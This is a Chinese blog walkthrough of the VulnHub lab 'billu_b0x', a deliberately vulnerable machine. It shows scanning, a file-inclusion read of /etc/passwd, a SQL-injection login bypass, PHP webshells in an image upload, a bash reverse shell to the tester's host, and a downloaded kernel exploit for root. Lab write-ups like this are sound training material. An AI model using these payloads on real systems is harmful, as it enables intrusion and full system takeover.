billu_b0x渗透测试记录

billu_b0x靶机地址:https://download.vulnhub.com/billu/Billu_b0x.zip

网络建议调成nat模式,打开靶机点击我已移动虚拟机

目标:获取靶机root权限

信息收集

  • 内网主机扫描
sudo arp-scan -l

  • 目标主机端口扫描 
nmap -p- -A 10.0.0.120

  • 目标主机开放了80端口,开启网站目录扫描 
dirb http://10.0.0.120

web渗透

漏洞挖掘

  • 浏览器访问80端口:http://10.0.0.120

  • 标题很明确,叫我门展示你的sql注入技巧 
  • 尝试万能密码 
admin
' or 1=1#

 

  • 万能密码失效了,后端代码应该是做了些过滤
  • 测试访问其他网站
http://10.0.0.120/add

  • 一个上传文件的网站
  • 测试上传马,新建一个文本改后缀为.php
<?php @eval($_POST['cmd']); ?>

  • 点击上传后并没有返回上传成功的信息

测试文件包含漏洞

  • 继续查看其他网页 ,经过一番尝试后发现一个phpinfo()的网页
http://10.0.0.120/in

 

  • 疑似文件包含的嫌疑
  • 在尝试test网页后发现了蹊跷
http://10.0.0.120/test

 

  • 这就暗示了文件包含漏洞的可控参数就是file
  • 我们就地取材,在当前目录下使用file参数测试文件包含
http://10.0.0.120/test.php?file=/etc/passwd

  • 显然不太行,尝试过../跳级也没用
  • get请求不行,换post请求试试,在kali中使用curl的post请求
curl -d "file=/etc/passwd" http://10.0.0.120/test

  • 文件包含成功!

代码审计(sql注入)

  • 这次我们审计一下index.php的源码,看看sql语句做了那些过滤
curl -d "file=index.php" http://10.0.0.120/test

  • 这段代码是核心,我们审计得到的是:
  • 参数uname和pass都对单引号做了过滤,单引号转化为空
  • 如果我们使用万能密码,最后执行的sql语句应该是这样的: 
select * from auth where  pass='or 1=1
  • 很明显这是一个语法错误了,肯定不能执行成功
  • 如果我们一直把万能公式写在密码框也就是写在sql语句最前面的pass,那么后面的语句基本上不用看了
  • 所以我们将万能公式只写在后面的uname中试试: 
select * from auth where  pass='' and uname='or 1=1#'
  • 这样最后执行的语句就是: 
select * from auth where  pass='' and uname='or 1=1
  • 可以看出,只要在pass中过滤掉单引号就可以实现绕过
  • 思想就是让万能公式单独执行,将pass中的一个单引号过滤掉,那么第一个单引号到最后一个单引号中的值就成了pass的值: 
select * from auth where  pass='\' and uname='or 1=1
  • 因为源码中说明了将转义后的单引号转为空,最后执行的sql语句为: 
select * from auth where  pass=' and uname=' or 1=1
  • 这样就可以绕过登录框了 

  • 查看这个网页有什么漏洞:

  • 这个很眼熟,像是在add这个网页中的文件上传
  • 上传之后我们并不知道路径,这为后续反弹shell不利,所以我们深挖目录: 
┌──(whoami㉿clay)-[/usr/share/dirbuster/wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -u http://10.0.0.120

  • 果然有蹊跷,访问一下uploaded_images目录 

 

  • 这下思路清晰了

 漏洞利用

文件上传(图片马)

  • 我们先随便获取一张图片,新建文本后缀为.asp写入一句话,开启本机cmd将两者合并
<?php system($_POST['cmd']); ?>

 

  • 此时,当前目录就会多出一张图片,将此图片上传即可

 

  • 上传成功!但是不能直接触发一句话木马程序
  • 这里可以使用文件包含来间接触发,使用bp在/panel.php这个目录下抓包分析数据

 

  • 我们获取到的是load这个参数的作用是选项,我们将它改成add发包看看:

  • 果然变成了上传文件的网页,如果我们改成上传图片马的路径执行命令? 

  • 命令执行成功!
  • 在kali上建立起nc监听:

 

  • 在参数cmd中输入反向shell ,记得要编码一下
echo "bash -i >& /dev/tcp/10.0.0.123/8888 0>&1" | bash

  • 发包后成功反弹shell: 

提权

  • 进入家目录看看有什么信息 

  • 这里找不到什么信息
  • 测试suid提权 
find / -perm -u=s -type f 2>/dev/null

 

  • 也没有什么可以利用的好像
  • 测试sudo -l

  • 也不行
  • 没什么耐心了,直接看内核提权,先看看操作系统的版本 
cat /etc/*release

 

  • 12.04属于是很低的一个版本了,直接在kali上找exp
searchsploit Ubuntu 12.04  

  • 我们获取第二个c文件到kali并开启http服务,靶机上wget获取 
python -m http.server 8080

wget http://10.0.0.123:8080/37292.c

  • 使用gcc来编译c文件 
gcc 37292.c -o 37292
  • 最后执行这个c程序 
./37292

 

总结

  • 代码审计值得花时间,有利于我们利用sql注入直接绕过登录框
  • 文件上传图片马,以及利用文件包含漏洞间接启用图片马
  • 当版本较低时,直接考虑内核提权,高效
  • 26
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值